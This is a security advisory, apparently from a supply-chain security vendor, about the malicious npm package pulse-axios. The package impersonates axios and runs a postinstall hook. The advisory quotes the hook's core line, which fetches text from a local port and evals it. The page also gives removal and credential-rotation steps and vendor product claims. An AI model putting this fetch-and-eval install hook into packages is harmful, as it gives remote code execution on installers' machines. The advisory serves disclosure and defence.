pulse-axiosnpm
Malicious code in pulse-axios (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
[email protected] declares a postinstall hook (node./lib/core/eval.js) that on npm install issues fetch('http://localhost:3000/download/data'), reads the response body as text, and passes it to eval inside an async IIFE: await eval(\(async () => {\n${datab2}\n})();`). Errors are silently swallowed in an empty catch. Any bytes returned by whatever process is listening on port 3000 at install time — including any local attacker process, a co-installed malicious package's helper, or a developer-staging payload server — execute with the installer's privileges. The package additionally impersonates the legitimate axiospackage:name: pulse-axios, description claims to be "a faster and better version of axios", authoris set toMatt Zabriskie(the real axios maintainer),repository.urlpoints tohttps://github.com/axios/axios.git`, and homepage is https://axios-http.com. The metadata theft is designed to fool installers into believing this is a legitimate axios variant. Combined, the package is a typosquat lure that ships an install-time RCE primitive.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for pulse-axios (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging pulse-axios across your stack and pipelines.
If you installed it — respond
pulse-axios is a typosquat — you almost certainly intended a legitimately-named package. Remove pulse-axios, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If pulse-axios was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks pulse-axios before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks pulse-axios-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.